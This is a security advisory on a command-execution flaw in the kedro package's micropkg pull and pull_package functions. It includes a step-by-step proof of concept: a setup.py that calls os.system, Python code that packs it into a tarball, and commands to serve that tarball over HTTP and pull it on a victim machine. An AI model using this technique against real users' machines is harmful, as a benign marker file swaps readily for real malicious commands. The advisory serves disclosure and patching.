Unsafe Dependency Resolution Affecting kedro package, versions [0.18.11,1.0.0)

kedro is a Kedro helps you build production-ready data and analytics pipelines

Affected versions of this package are vulnerable to Unsafe Dependency Resolution via the pull_package API function. An attacker can execute arbitrary commands on the victim's machine by exploiting the project_wheel_metadata function to execute the setup.py file inside the tar file.

Note:

This vulnerability bypasses the protections newly implemented through the safe_extract() function.

1. Write a setup.py file:

from setuptools import setup
import os

os.system("touch /tmp/hacked")
setup(name = "mytest", version = "1.0")

2. Make a hacked.tar.gz file using the following Python code:

import tarfile

def change_name(tarinfo):
        tarinfo.name = "./" + tarinfo.name
        return tarinfo
with tarfile.open("hacked.tar.gz", "w:gz") as tar:
    tar.add("setup.py", filter=change_name)

3. Run the command python -m http.server to serve this malicious hacked.tar.gz at URL http://192.168.3.153:8000/hacked.tar.gz for phishing.

4. The victim runs kedro micropkg pull http://192.168.3.153:8000/hacked.tar.gz and then the illegal file /tmp/hacked has been created at the victim's local file system.

• GitHub Commit
• GitHub Issue
• Vulnerable Code